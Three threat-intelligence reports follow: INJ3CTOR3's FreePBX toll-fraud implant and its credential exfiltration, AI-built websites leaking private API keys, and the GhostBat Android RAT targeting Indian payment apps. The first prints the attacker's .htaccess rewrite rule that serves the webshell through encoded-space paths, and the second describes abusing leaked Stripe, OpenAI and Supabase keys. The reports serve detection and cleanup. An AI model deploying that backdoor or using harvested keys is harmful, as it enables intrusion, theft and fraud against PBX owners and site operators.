Executive Summary

In May, Cyble Research & Intelligence Labs (CRIL) documented JOMANGY, a PHP webshell generation deployed by INJ3CTOR3 with self-healing persistence channels and a built-in toll-fraud dialer.

Back then, the fraud ran through the victim's own PBX, so removing the implant would have stopped it. Artifacts we collected from the operator's C2 staging servers during mid-September 2026 show that this is no longer true: the installer now sends credentials off the box on every run, and a second staging host serves it.

INJ3CTOR3's FreePBX implant now uploads the victim's SIP trunk, AMI, database, and mail-relay credentials to the operator, so disinfecting or rebuilding an infected host no longer ends the exposure. Anyone running FreePBX, Issabel, or Elastix who suspects compromise must rotate the secrets in 17 configuration files, and only after the host is clean.

The infection and persistence code is nearly unchanged; what the operator rotated are the identifiers that were available to defenders since the last time. Each section below pairs a finding with what to do about it.

Key Takeaways

• Credentials leave on every run. k.php uploads 17 configuration files to both staging hosts every minute the host stays infected.
• The fraud no longer needs your PBX. A stolen trunk secret lets the operator register and place calls as you from anywhere.
• Last report's identifiers have expired. Each build now carries its own watermark, and the webshell gate hash was rotated.
• Two staging hosts. Plain-text commands now point to 160[.]119[.]69[.]4, while base64-encoded ones still use 45[.]95[.]147[.]178.
• Clean-looking logs and consoles prove nothing. Requests through an encoded space reach the shell without being named in the access log, and trunks are written directly to /etc/asterisk; they do not appear in the FreePBX console.

The Campaign So Far

INJ3CTOR3 has been abusing Asterisk-based phone systems for toll fraud since at least 2020. Check Point Research named the operation that November, when it exploited CVE-2019-19006 in FreePBX and used a basic webshell to read amportal.conf and sip_additional.conf by hand. Unit 42 reported a related operation against Elastix in 2022, Fortinet documented the EncystPHP webshell in January 2026, and our May report covered JOMANGY.

The playbook has held for six years: scan for exposed PBXs, exploit or brute-force a way in, plant a password-gated webshell, and dial out at the victim's expense. Figure 1 below shows the chain as it stands in the September build, now including the credential upload back to the staging hosts.

What Changed Since Our Last Report

We compared the April artifacts behind our May report with the 9 September collection from both staging hosts, after decoding every layer.

Area	April	September
Credential Exfiltration	None	17 files to /hima_data/index.php on both hosts
Staging hosts	45[.]95[.]147[.]178	45[.]95[.]147[.]178 and 160[.]119[.]69[.]4
webshell watermark	One value in every copy	A different value per build
Webshell gate hash (JOMANGY and ZenharR)	a2f6863413c4192a4abfa360577b9961	8b3a1d970fda0c17a0b785a990fb7b6a
/x takeover script	367 lines	620 lines, mostly added cleanup: removing rival actors’ implants and SSH keys
wor.php, people2.txt, _*.php status files	Present	Absent from the collection

Unchanged: the decoded webshell panel, the encoding chain (base64 in the shell script, base64 again in PHP, then ROT13), the persistence channels, the backdoor account password hash, and the borrowed timestamp. Behavioral detections built on our May report still apply.

Credential Exfiltration: The Implant Is No Longer the Product

The September k.php ends with two new base64-encoded lines, each holding 17 curl commands that upload one configuration file apiece to /hima_data/index.php, one line per staging host (See Figure 2 below). The paths are typed out by hand and cover FreePBX, Issabel, and Elastix layouts. The collector path echoes hima, a backdoor account the takeover script creates. The name goes back further: Check Point's 2020 INJ3CTOR3 report shows a Telegram post by a user called Hima sharing a tool that scans and cracks SIP ranges, saving its output as HimaResults.

Three of the cron beacons fetch and run k.php every minute (the others every two or three minutes), so the upload repeats every minute during the infection. Rotating credentials on a still-infected host hands the new secrets to the operator within minutes.

What it unlocks	Files uploaded	Rotate
SIP trunks and extensions (chan_sip)	/etc/asterisk/sip.conf, sip_additional.conf, sip_registrations.conf, sip_general_additional.conf, sip_custom.conf	Every trunk secret (with your carrier) and extension secret, changed in the FreePBX GUI, since the *_additional.conf files are regenerated
SIP trunks and extensions (PJSIP)	/etc/asterisk/pjsip.auth.conf, pjsip.endpoint.conf, pjsip.aor.conf, pjsip.identify.conf, pjsip.transports.conf	The same secrets; review IP-based identity rules
Call origination without SIP	/etc/asterisk/manager.conf	Every AMI user.
PBX database, AMI, and platform admin	/etc/freepbx.conf, /etc/amportal.conf, /etc/asterisk/amportal.conf, /etc/issabel.conf, /etc/elastix.conf	The database password (AMPDBPASS), the MySQL root password, and any AMI password stored there
Outbound mail	/etc/postfix/sasl_passwd	The SMTP relay account, with your mail provider

This opens a second route to fraud. Our May report covered calls placed through the webshell, which require the shell to be alive and to land in the victim's own call records. With a stolen trunk secret, the operator can register to the carrier from any machine and call as the victim, leaving nothing on the host, unless the carrier also restricts the trunk to the victim's IP addresses. A successful disinfection stops the first route; only rotation stops the second.

Detection

• Network: outbound HTTP POSTs from a PBX to any /hima_data/ path or to either staging host. A PBX seldom needs outbound web access beyond vendor updates, so egress allow-listing closes this channel.
• Carrier: alert on trunk registrations from outside your own IP ranges, and on premium or international destinations, off-hours calling, and unusual concurrency. Set spend caps and destination blocks where your carrier offers them.

For Law Enforcement Agencies and CERTs

By design, victims' credentials were collected on the two staging hosts, which stopped responding in late September 2026. Going offline does not end exposure: hosting providers may still retain server data, and infected PBXs keep trying to upload their credentials every minute to addresses that could be reassigned to someone else.

Both are reasons for law enforcement and national CERTs, which have the legal standing that researchers lack, to work with the providers on preserving that data and sinkholing the addresses, which would also identify victims for notification. We saw the uploads in code; we did not capture one in transit and hold no victim list.

Two Staging Hosts, Split by Encoding

An infected host now talks to both staging hosts, and which one depends on whether the command was written in plain text or base64. The /x takeover script is byte-identical on both.

Reference	Encoding	Points to
k.php line 2 (re-runs /x), eight cron schedules in /x, wr.php's callback	Plain text	160[.]119[.]69[.]4
Camouflaged cron payloads, login-triggered stager	Base64	45[.]95[.]147[.]178
Credential upload	Base64	Both

In April, all of these pointed to 45[.]95[.]147[.]178. We assess that the operator replaced the address in plain text and never re-encoded the base64 strings; the credential upload, which names both hosts, appears deliberate. This host is distinct from the scanner 160[.]119[.]76[.]250, which is named in our May report.

Defend: block both hosts in both directions, and decode every base64-encoded string in a crontab or shell profile before deciding which hosts a host talks to. A plain-text review would miss every channel that still reaches 45[.]95[.]147[.]178.

The Webshell: Same Program, New Identifiers

Decoded, the September JOMANGY panel is identical to April's except for the values defenders were told to look for.

Per-build watermark. Our May report advised hunting for trace_e1ebf9066a951be519a24140711839ea, present in every April copy. The September builds carry trace_bd42a8a0d23ae16c85dede7d2abaec05 (45[.]95[.]147[.]178) and trace_7544725ebaaadac217dfaa7ca8e8fe7e (160[.]119[.]69[.]4), so that hunt now misses current infections.

One gate for two generations. JOMANGY and ZenharR share a single hardcoded MD5 gate hash, rotated together from a2f6863413c4192a4abfa360577b9961 to 8b3a1d970fda0c17a0b785a990fb7b6a. Our May report listed the April value under ZenharR only.

A forged administrator session. Behind the gate, the FreePBX button builds an admin session using FreePBX's own ampuser class and setAdmin(); in our lab, it opened the full console without any password. Therefore, changing the FreePBX admin password affects neither the gate nor this session. (See Figure 3 below)

Because each of these identifiers changes between builds, the detection approach later in this report focuses on who put a file on disk rather than on what the file contains.

The .htaccess Door and the Access-Log Gap

k.php writes a seven-line .htaccess to /var/www/html/admin/views/. It does not hide the webshell; it unblocks it, and it lets requests reach a copy without naming it.

RewriteEngine On
# enable symbolic links
Options +FollowSymLinks
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-l
RewriteRule ^\s+ config.php [L]

Request path	Status	What answered
/dir/zzz	404	Nothing
/dir/%20zzz, /dir/%09zzz (space, tab, etc)	200	config.php
/dir/+zzz	404	Nothing

Simulating an operator and a victim in an isolated environment, we confirmed that a request to a URL containing an encoded space returned a working webshell for the attacker. The access log records only the requested path, never the file that answered, so searching logs for the webshell by its filename can return nothing on a host that is serving it.

Defend: check every .htaccess across the web root for who put it there; one that no package, FreePBX module, or member of your team accounts for is suspect, whatever it contains. Because the takeover script wipes logs, treat log hunting as secondary: requests with %20, %09, or %0A directly after a slash that return 200 are worth a look where logs survive.

What the FreePBX Console Won't Show You

FreePBX lists the trunks it created from its own database; Asterisk reads whatever is in its configuration files. In our lab, a trunk we wrote directly into /etc/asterisk/pjsip_custom.conf carried a call while the FreePBX Trunks page reported no records (See Figure 4 below). We did not see the campaign plant one, but its root-equivalent accounts and stolen trunk secrets give the operator everything needed to do so.

Defend: audit from the Asterisk CLI (pjsip show endpoints, pjsip show registrations, sip show peers, sip show registry) and compare with what the console lists. Review the *_custom.conf files for trunks or contexts that nobody on your team added.

What Keeps It There

Before detecting or cleaning, it helps to see the whole apparatus. Everything in Figure 5 is read from /x and k.php: ways the implant stays on the box, and doors allowing the operator to come back, through a system account or a single web request. Each piece can rebuild/repair all others under a minute, which is why removing any one of them on its own fails. (See Figure 5 below)

Detecting It Without IOCs

The operator rotates hashes, watermarks, gate values, and hosts between builds, so asking whether a file is known-bad quickly stops working. The better question is who put the file there: compare what is on disk with what the package manager or a clean install says it should be.

On the host: triage with beagle.sh

PBX admins can run beagle.sh, a report-only script that makes no changes to the host, to check a PBX server for signs of compromise. (See Figure 6 below)

Check	What it flags
Packed shells	Several identical, same-size PHP files across unrelated directories
Locked files	chattr +i or +a under the web root or in hidden directories
Unowned .htaccess	An .htaccess no installed package accounts for
Self-rebuilding cron	A cron line that downloads a file and hands it to a shell
Accounts	An extra UID-0 account, or a full-permission FreePBX admin, nobody created
Blocklist	Addresses dropped in and out by iptables outside fail2ban's chains

The script separated one infected server from one clean server of the same FreePBX version, a sample of one, so expect some legitimate findings. However, it cannot tell you whether the credentials have already been left: that happens during the first cron run, within a minute of infection, and long before anyone scans. The upload leaves no file behind, and the takeover script wipes what might have recorded it: the web server, Asterisk, cron and audit logs, plus shell and MySQL histories, which makes forensic timelines hard to reconstruct.

With telemetry

The most distinctive actions leave little on disk; in our detonation, backdoor accounts were created and deleted 27 seconds apart. These eleven behaviors are detection strategies to build into your own tooling:

Layer	Behavior	What it catches
Host	crond spawns a shell that downloads a file and runs it	The takeover script on its single run, before persistence and before credentials leave
Host	The web server account spawns a shell	The webshell's command box in use
Host	A cron child rewrites the crontab every minute without reading it first	Beacon reinstallation
Host	chattr +i or touch -r on a file in the web root	The lock and the borrowed timestamp
Host	Twelve PHP files were written to the web root in the same second	The webshell copies, as they are written; fan-out
Network	The PBX contacts staging host roughly every 60 seconds	The beacon's rhythm, whatever the address
Network	Many configuration files read, then outbound POST requests	Credentials leaving
Web	A request with leading encoded whitespace returns 200 for a path not on disk	The .htaccess door
Decoy	Any read of a decoy config file that the implant reads, but nothing legitimate does	Credential collection, with no false positives by design
Phone	Channels originate over AMI or the CLI outside your dial plan	A call asking for nothing legitimate
Phone	CDRs with premium destinations, off-hours calling and unusual concurrency	The fraud itself

The last two catch the fraud rather than the machinery, whatever the files are called, and whether you ever find the shell. The host rows need process telemetry that PBX appliances rarely have, which is part of why so many stay infected.

Why Cleanup Fails, and the Order That Works

First move	Why it fails on its own
Delete the webshell	Cron re-runs k.php within minutes and rewrites all 12 copies, the .htaccess, and the immutable flags.
Patch FreePBX	Sangoma's advisory for CVE-2025-57819 states the fix prevents new exploitation but does not clean a compromised system.
Change the admin password	The gate and the forged session never use it, and the backdoor accounts bypass the FreePBX login.

Shadowserver data showed more than 900 compromised FreePBX instances in February 2026; over 700 of them were still compromised in May. Rebuilding from a clean image is the most reliable fix; if you clean in place, work from the system layer up, because it replants everything above it.

Preserve first

The takeover script truncates logs, then deletes them, and clears shell and database history, so evidence shrinks with every run:

1. Cut the host off from the internet, or at least block all outbound traffic except to your SIP carrier. Blocking only the two known staging hosts is not enough if the operator has moved. With no route out, the minute-by-minute downloads fail, and nothing more is uploaded. One local loop survives: a watchdog cron line re-runs the cached copy of k.php at /var/lib/asterisk/bin/zen2 every minute, rebuilding the webshells offline, which is why cron comes first in the cleanup below.
2. Capture all crontabs and the eight backups listed below, /etc/passwd, /etc/shadow, shell profiles, and the web root with lsattr output and change times.
3. Export the FreePBX ampusers table, the call records database, and the Asterisk full log, and ask your carrier to preserve CDRs and registration logs.

Then clean, in this order

1. Cron and its spares. Clear root's crontab in one go, so the restore and watchdog lines are removed. Then kill any running zen2, devnull2, or serv processes; killed earlier, the watchdog restarts them within a minute. Remove the k.php beacons (/var/lib/asterisk/bin/zen2, devnull2, zen222, devnull312, devnull212, /tmp/.cache/update, /dev/shm/.systemd/kernel). Unlock (chattr -i, -a) and delete the eight crontab backups: /usr/lib/.systemd/.cache, /usr/share/.fonts/.config, /var/lib/.dbus/.data, /var/tmp/.X11/.Xauthority, /opt/.local/.bashrc, /var/cache/.fontconfig/.cfg, /etc/.ssl/.cert, and /root/.config/.pref.
2. Login and boot triggers. Remove the base64 stager from /root/.bash_profile, /root/.bashrc, and /etc/rc.local.
3. Accounts and SSH. Remove every extra UID-0 account and any account whose /etc/shadow hash begins with $1$nRz1Cbtk$ (legitimate service accounts with that hash need new passwords, not deletion). Restore sshd_config, where root login was re-enabled.
4. Web application. Remove the 12 webshell copies, the .htaccess, the freepbxusers row in ampusers, and /var/www/html/admin/modules/freepbx_ha/license.php.
5. Credentials. Only now rotate the secrets in the 17 files and across every account on the host.

Conclusion

The hard part of the campaign used to be getting the implant off the box, and that has not changed. What has changed is that the box is no longer the whole problem: an organization that rebuilds but does not rotate has removed the operator's calling platform and handed over its carrier account.

The code ties this generation to the actor in our May report through the takeover script, backdoor hash, and staging host, and a gate rotated in step across JOMANGY and ZenharR.

The operator is now rotating exactly the strings defenders were given, so detections built on provenance and behavior will outlast this build, and detections built on its hashes will not. CRIL continues to monitor INJ3CTOR3's infrastructure.

Indicators of Compromise

Hashes and strings rotate between builds; use them to confirm a finding, not as your only detection.

Value	Type	Context
45[.]95[.]147[.]178	IPv4	Staging host since April
160[.]119[.]69[.]4	IPv4	Second staging host and credential collector, new
hxxp://45[.]95[.]147[.]178/hima_data/index.php	URL	Credential upload endpoint
hxxp://160[.]119[.]69[.]4/hima_data/index.php	URL	Credential upload endpoint
c6e64453ea8bc0856333b6f57567c9efd8c440410787cae135d1c4a248c07c0d	SHA256	/x takeover script, identical on both hosts
38edbfc4ac89619d2bdb3f4bb2626deaaf422868d6d7af640f59d7959903f838	SHA256	k.php, 45[.]95[.]147[.]178
1c14a761620691a43b1a554a9eccd38d21c15d59463945250d4f57b10d20fce9	SHA256	k.php, 160[.]119[.]69[.]4
b54a8d9e98ff36dfe63b2aea97a2003b670f7311595bb4dd072850fed5900a0b	SHA256	wr.php, 45[.]95[.]147[.]178
aa6dfd7ee90d9aea5af29ae39c14ff70cf8687118abadd7aa4fc98923f01ffd1	SHA256	wr.php, 160[.]119[.]69[.]4
adeb015fdb37814edc3ed45230f48d2b0e87bb195a5a7e4487c01549b47c744c	SHA256	JOMANGY webshell on disk, 45[.]95[.]147[.]178 build
d345671e688ee807e1bb9b6fc45e6bb0611bbb1331c33888c8030ec2db47e672	SHA256	JOMANGY webshell on disk, 160[.]119[.]69[.]4 build
trace_bd42a8a0d23ae16c85dede7d2abaec05, trace_7544725ebaaadac217dfaa7ca8e8fe7e	String	JOMANGY watermarks, one per build
8b3a1d970fda0c17a0b785a990fb7b6a	MD5	Webshell gate hash, JOMANGY and ZenharR
$1$nRz1Cbtk$	Hash prefix	Password hash set on backdoor and service accounts

MITRE ATT&CK® Techniques

Mapped from the September /x and k.php to MITRE ATT&CK v20; the last three rows are new in this generation.

Technique ID	Tactic	Name	Evidence
T1059.004	Execution	Command and Scripting Interpreter: Unix Shell	/x and k.php run as bash scripts fetched by cron
T1105	Command and Control	Ingress Tool Transfer	wget of /x, k.php and wr.php from the staging hosts
T1053.003	Persistence	Scheduled Task/Job: Cron	Minute-level beacons, a restore line and a watchdog
T1505.003	Persistence	Server Software Component: Web Shell	JOMANGY and ZenharR, 12 copies across the web root
T1546.004	Persistence	Event Triggered Execution: Unix Shell Configuration Modification	Stager added to /root/.bash_profile and /root/.bashrc
T1037.004	Persistence	Boot or Logon Initialization Scripts: RC Scripts	Stager added to /etc/rc.local
T1136.001	Persistence	Create Account: Local Account	Backdoor accounts, several at UID 0
T1098	Persistence	Account Manipulation	Shared password hash set on existing accounts; FreePBX admin row inserted
T1027	Stealth	Obfuscated Files or Information	base64, base64 and ROT13 layers around the webshell; base64 cron payloads
T1564.001	Stealth	Hide Artifacts: Hidden Files and Directories	Crontab spares in dot-paths such as /var/tmp/.X11/.Xauthority
T1070.006	Stealth	Indicator Removal: Timestomp	touch -r copies footer.php's timestamp onto the webshell
T1070.003	Stealth	Indicator Removal: Clear Command History	Shell and MySQL histories cleared
T1222.002	Defense Impairment	File and Directory Permissions Modification: Linux and Mac Permissions	chattr +i and +a on webshells and crontab spares
T1685.006	Defense Impairment	Disable or Modify Tools: Clear Linux or Mac System Logs	Web server, Asterisk, cron, secure and audit logs truncated, then deleted
T1686	Defense Impairment	Disable or Modify System Firewall	iptables rules dropping rival actors' addresses
T1496	Impact	Resource Hijacking	Victim's PBX and trunks used to place premium-rate calls
T1552.001	Credential Access	Unsecured Credentials: Credentials In Files	k.php reads 17 Asterisk, FreePBX, Issabel, Elastix and Postfix configuration files holding secrets
T1119	Collection	Automated Collection	The 17 files are collected by hardcoded commands on every k.php run
T1041	Exfiltration	Exfiltration Over C2 Channel	Multipart HTTP POST of each file to /hima_data/index.php on both staging hosts

References

1. Cyble Research & Intelligence Labs. JOMANGY: INJ3CTOR3's Self-Healing FreePBX Toll Fraud Campaign, 21 May 2026.
2. Fortinet FortiGuard Labs. Unveiling the Weaponized Web Shell: encystPHP, 28 January 2026.
3. Palo Alto Networks Unit 42. ZenharR webshell and CVE-2021-45461 FreePBX exploitation, 2022.
4. SANS Internet Storm Center. ISC Diary #32892, 13 April 2026.
5. watchTowr Labs. CVE-2025-57819: FreePBX Endpoint module pre-authentication SQL injection, 2025.
6. FreePBX Security Advisory. GHSA-vm9p-46mv-5xvw: CVE-2025-64328.
7. The Hacker News, reporting Shadowserver Foundation data. 900 Sangoma FreePBX instances compromised, February 2026.
8. beagle.sh: github.com/0x1da5/malware-campaigns

The post From Hijacked PBX to Stolen Trunk: INJ3CTOR3’s Campaign Evolves appeared first on Cyble.

Cyble scanned 1.3M+ newly registered domains and found AI-built sites leaking live secrets to the browser: OpenAI keys, Stripe keys, and database tokens.

Spinning up a website no longer takes a developer. A prompt to an AI app-builder returns a working, styled, deployable site in minutes, and when one template works, the same operator clones it across a dozen domains before launch. That is also how secrets end up in plain sight.

Over a month, Cyble Research and Intelligence Labs (CRIL) scanned more than 1.3 million newly registered domains, identified the ones built by AI app-builders, and read their public front-end code for exposed credentials. We built our own classifiers to spot AI-generated websites as they are registered, paired with a scanner that pulls exposed keys and credentials straight from their public code. On 35 of the 22,306 AI-built sites we identified, a genuinely private secret was sitting in the browser: live OpenAI keys, Stripe secret keys, backend database tokens, and, in several cases, a single credential cloned across a whole fleet of domains.

Thirty-five is a small number, since counting every key-shaped string on an AI-built site is easy and misleading, as most are meant to be in the browser; a single reCAPTCHA key appeared on thousands of sites. We kept only the credentials that are never supposed to leave a server. Those are the findings below.

This report walks through the two leak patterns we observed, what appears exposed, what an attacker can do with these keys, and how to shut down the exposure.

AI-built Websites are leaking the keys that power them

An AI-built site generates its content with a Large Language Model (LLM), and the key to that model often ships in the page the visitor downloads. That is the plainest pattern we found, and the most on-the-nose.

Five AI-built sites carried live OpenAI API keys in their client-side code, sixteen distinct keys across them, and four of the five are confirmed AI-generated. One AI-writing site stands out on its own: it shipped twelve different OpenAI keys, one per content category, as plain values in its bundle. Figure 1 shows a single entry, with the key masked.

A handful of sites, but each key is sensitive to exposure. An OpenAI secret key is a billing credential: anyone who reads the page can spend the owner’s balance, exhaust the rate limit, or run the bill up until someone notices and revokes it. Twelve keys in one bundle are twelve live credentials shipped at once, and five sites like this are five accounts an attacker can exploit.

Clone-and-leak: one secret across a whole fleet

An AI builder makes the hundredth site as cheap as the first, so an operator clones a working template across many domains, and whatever secret sat in the template now sits on every copy. We saw this in two shapes.

A Slack webhook shared across a 13-domain fleet. Thirteen near-identical domains, each a short word (ask, call, chat, get, hello, hey, hi, its, join, let, meet, my, see), glued to one brand, all served the same client bundle, and all embedded the same live Slack incoming-webhook URL. Figure 2 shows the URL in the shipped bundle, masked.

Anyone who can read the page can post messages to the operator’s Slack workspace via that webhook. That works for spam, for phishing aimed at the operator’s own staff, or for flooding a channel.

One Stripe secret key across four domains and two brands. A single Stripe secret key appeared on four domains under two separate brand names. The same sk_live_ value across all four points to one operator, or one shared Stripe account, behind every site. Figure 3 shows the assignment.

A Stripe secret key provides full API access to the account, including the ability to create charges, issue refunds, and read customer and payout records. That one key exposes the operator’s whole payment account on every domain in the fleet.

The 13-domain Slack fleet runs on Bubble, a no-code and AI app builder, as confirmed by Bubble’s x-bubble-perf response header and client markers. Bubble serves each app from a dynamic.js bundle, and any value a developer places in a client-accessible field ships inside that bundle in plain text. The Stripe cluster runs on a Next.js build instead, which shows that the pattern spans builders rather than tracing to a single platform.

What else is exposed

Four AI-built sites exposed a Supabase service role JSON Web Token (JWT) on their front ends. A service-role token bypasses row-level security and grants full read and write to the project database. In terms of impact, it sits at the top of the set because it opens the entire backend rather than a single service.

Most of the remaining secret-looking strings on AI-built sites carry no/minimal exposure.

• 3,824 sites shipped browser-safe values: reCAPTCHA site keys, Stripe publishable keys, Supabase anon keys, builder telemetry tokens.
• 2,172 sites carried Google API keys, which matter only if they are unrestricted.
• 1,461 sites exposed a Supabase or Firebase backend address, which is a real exposure only when that backend’s rules are open.

Filtering those out is why the confirmed count is 35, not several thousand. Table 1 breaks the 35 down by type. The values stay withheld, and a few sites appear under more than one row.

Exposure	Sites	What an attacker gains
OpenAI API key	5	Spend the owner’s balance, exhaust quota, run up the bill
Shared Slack webhook	13	Post arbitrary messages into the operator’s workspace
Stripe secret key	6	Full API access: charges, refunds, customer and payout data
Supabase service-role JWT	4	Full read/write to the backend database, bypassing access rules
AWS access key	5	Cloud account access, scope set by the paired secret
GitHub token / Google OAuth secret	2	Source-control or identity-provider access

Table 1 – Confirmed private-credential exposures across 22,306 AI-built sites, by type.

What an attacker can do with these

Every credential in Table 1 is a working key to a live account. An attacker reads a public web page, copies a value, and calls an API. Here is what that buys them, key by key.

• OpenAI and other LLM keys: Run inference on the victim’s account until the bill or rate limit stops them. On a metered account, that is direct financial loss; on a funded one, it is a free, anonymous model endpoint that the attacker can point at anything, billed to the victim and running under their quota and identity.
• Stripe secret key; Drive the victim’s payment account through Stripe’s own API: create and refund charges, push the account toward fraud, and pull the customer list, email addresses, and payout history. One key is a money problem and a data-breach problem at once.
• Supabase service-role token: Read and write the entire production database, past whatever row-level security the app configured. That means stealing every user record, altering or deleting data, and planting content the app will serve back to its own visitors.
• Slack incoming webhook:  Post into the operator’s own Slack as if from inside. Flooding a channel is a nuisance case; the real risk is internal phishing.
• AWS access key: With the paired secret and enough permission, reach into the owner’s cloud: spin up resources (crypto-mining is the usual first move), read storage buckets, or pivot further in.
• GitHub token or OAuth secret: Read or push to the owner’s source repositories or misuse their identity integration.

One exposure counts many times over. When the key sits on a cloned fleet, it is live on every domain in that fleet, so an attacker who finds it on one site has compromised all of them.

Conclusion

AI app-builders made it almost free to publish a website, and just as free to clone one, and most of what they produce is worth nothing to steal.

The exceptions are what we went looking for. A small, steady set of these sites hand over the key that runs them, and when an operator copies one site across a fleet, the leak rides along to every domain.

Against the millions of domains registered each month, the number is tiny, but every hit is a live account an attacker can reach and exploit just by opening the page.

If you build on these tools, read your own shipped code before you publish it. If you defend an organization, assume your keys may surface on sites you never built and look for them.

Cyble’s Threat Intelligence Platforms continuously monitor emerging threats, infrastructure, and activity across the dark web, deep web, and open sources. This proactive intelligence empowers organizations with early detection, impersonation, infrastructure mapping, and attribution insights. Altogether, these capabilities provide a critical head start in mitigating and responding to evolving cyber threats.

Our Recommendations

For developers and AI-builder users:

• Keep every secret key (OpenAI sk-, Stripe sk_live_, a Supabase service-role token) in a server-side function or backend workflow, never in a client-accessible field.
• Use only the browser-safe variants on the front end, publishable and anon keys, and enforce access with Supabase row-level security, Firebase rules, and API key restrictions.
• Rotate any key that has ever sat on the client side, and treat it as already compromised.
• Read your own page source before you ship, and search it for sk-, sk_live_, service_role, and hooks.slack.com. If you find them, so can anyone.

For SOCs and defenders:

• Monitor public code and newly registered domains for your own keys and webhooks; don’t just paste sites.
• Treat a secret found on one domain of a template fleet as exposed on all of them, and scope the response to the fleet, not the domain.

The post The Keys Are in the Browser: Secret Exposure Across AI-Built Websites appeared first on Cyble.

Executive Summary

Cyble has continued tracking GhostBat RAT activity targeting Android users in India since its initial identification in October 2025. Recent investigations into malicious mParivahan and eChallan-themed applications revealed a broader operator-controlled ecosystem that we track as GhostX.

Analysis of the exposed GhostX backend identified administrative and user-management structures, device-control records, SMS-delivery instructions, call-forwarding activity, and continuously changing phishing content, indicating active campaign management.

Impressions

The latest GhostBat RAT variant represents a significant evolution in both delivery and post-compromise capabilities. The malware now abuses the Android Accessibility Service to support Ghost Overlay and broader PIN/key-input capture targeting financial applications used across India.

Ghost Overlay transparently intercepts PIN keypad interactions in Google Pay and MobiKwik. It replays the same touches into the legitimate application, allowing the malware to capture PIN information without presenting a conventional phishing interface. The variant also targets 60 banking, UPI, wallet, fintech, and payment applications for broader PIN capture.

Modus Operandi

GhostBat RAT has diversified its loader architecture, with at least six observed delivery mechanisms, while the latest build uses libnetbridge.so and multiple cryptographic and custom container stages. Firebase Remote Config further enables operators to dynamically modify C&C infrastructure and malware functionality after installation.

Key Takeaways

• GhostBat RAT continues to target Android users in India via mParivahan- and eChallan-themed smishing campaigns, using phishing pages and public hosting platforms to distribute malicious APKs.
• Our investigation uncovered GhostX, a broader operator-controlled ecosystem that supports phishing, device management, backend configuration, and the distribution of the GhostBat RAT.   
• The latest GhostBat RAT variant abuses the Android Accessibility Service, including the Ghost Overlay technique to intercept PIN entry in legitimate Google Pay and MobiKwik applications.   
• The malware also implements broader PIN/key-input capture targeting 60 Android applications associated with India’s banking, UPI, wallet, fintech, and digital-payment ecosystem.   
• GhostBat RAT’s delivery layer has evolved through multiple loader and dropper implementations, with the latest libnetbridge.so loader employing several transformations, including encryption, compression, and custom container stages, before recovering the final payload.   
• Firebase Remote Config enables dynamic C&C and feature management, allowing operators to modify backend infrastructure and selected malware capabilities without rebuilding or redistributing the APK.

Overview

In October 2025, Cyble identified GhostBat RAT being distributed through MiningDropper and targeting Android users in India.

We have since continued to track related activity and investigate malicious applications impersonating India’s mParivahan and eChallan services. This research uncovered a broader Android threat ecosystem that we track as GhostX, along with significantly evolved variants of GhostBat RAT.

The most recent GhostBat RAT variant demonstrates a notable increase in capability and operational flexibility. It uses Firebase Remote Config to dynamically manage command-and-control (C&C) infrastructure and to enable or disable individual malware modules without requiring APK redistribution.

This variant also implements a sophisticated Ghost Overlay technique targeting legitimate Google Pay and MobiKwik PIN-entry interfaces. Instead of displaying a conventional fake login page, the malware places transparent accessibility overlays over the legitimate application’s keypad, records the victim’s touch selections, and replays the same interaction into the genuine application.

Additionally, the malware implements a PIN-capture capability through keylogging, targeting 60 Android applications across India’s banking, UPI, wallet, fintech, and digital payment ecosystem.

The malware’s delivery and packing mechanisms have evolved considerably across the samples analyzed. We identified at least six distinct loader or dropper implementations, including:

• Native AES-CBC-protected APK containers
• Custom SPKZ/SPK1 payload formats
• Java-based in-memory DEX loaders
• Remote APK downloaders
• Multi-stage XOR/AES loaders
• A newer native libnetbridge.so loader using multiple cryptographic, transformation, compression, and custom container stages before recovering the final payload

This diversification suggests continued investment in defeating static detection and complicating automated malware extraction.

GhostBat RAT is primarily distributed via smishing messages that contain malicious links. When victims follow these links, they are redirected to phishing pages that impersonate either the legitimate Parivahan service or a Google Play-style application download page and are encouraged to install a fraudulent mParivahan APK (see Figures 2 and 3).

During our investigation, we also repeatedly observed GitHub repositories and GitHub-hosted assets being used to distribute malicious APKs, providing attackers with readily available public hosting infrastructure.

Discovery of the GhostX Ecosystem

The GhostX investigation began with the discovery of multiple Android applications impersonating India’s mParivahan and eChallan ecosystem.

Samples were collected from phishing infrastructure and public GitHub repositories containing APKs named or presented as mParivahan, vehicle-challan, traffic-enforcement, or other related government applications.

Initial static analysis revealed that many of these APKs were only first-stage loaders. Their visible DEX code offered limited functionality, while the actual malware payload was either concealed within encrypted assets or retrieved later.

After unpacking the applications to their final payloads, we identified multiple custom C&C infrastructures, Firebase projects, and overlapping Android surveillance and financial-fraud capabilities.

A major breakthrough came from the analysis of a NextGen mParivahan sample whose unpacked payload contained the Firebase project identifier:

ghostx-panel

The exposed Firebase backend provided significantly greater visibility into the operator’s infrastructure and control workflow. The database contained structures including:

• clients
• bot_users
• admins
• admin_logins
• settings
• All_Users
• Verify_Device

Analysis of the exposed GhostX backend revealed evidence of a structured operator-management layer beyond conventional malware C&C functionality.

The database contained administrator and user records with role and account-status fields, a global session identifier, bot-user mappings, and dedicated admin_logins records containing device fingerprints, timestamps, and online status (see Figure 4).

These artifacts indicate that GhostX incorporates an authentication and session management framework for operator-side access and management of compromised devices.

The presence of distinct user, administrator, and bot-user roles suggests a multi-operator, service-oriented architecture. It raises the possibility that GhostX could support a Malware-as-a-Service-style operating model.

During continued monitoring of the exposed infrastructure, we observed that SMS lure content, phishing URLs, vehicle registration numbers, and recipient phone numbers were repeatedly changing, indicating active operator-side campaign management rather than a static or abandoned database (see Figure 5).

Similar eChallan-themed messages were also observed being received by users in the wild, further supporting the campaign's operational nature (see Figure 6).

One of the phishing URLs exposed through the GhostX infrastructure subsequently led us to a previously unseen GhostBat RAT variant, providing a direct investigative link among the backend control ecosystem, active phishing operations, and the malware's continued evolution.

These findings led us to assess that GhostX is not a single Android malware family or standalone application. Instead, GhostX represents a broader operator-controlled ecosystem encompassing phishing infrastructure, backend services, Firebase-based configuration and command mechanisms, device-management functionality, and malware distribution.

GhostBat RAT represents the Android implant operating within this ecosystem, with individual variants continuing to evolve across both delivery mechanisms and post-compromise capabilities.

Technical Analysis

Evolution of Droppers and Loaders

GhostBat RAT has undergone continuous changes in its delivery and payload-protection mechanisms.

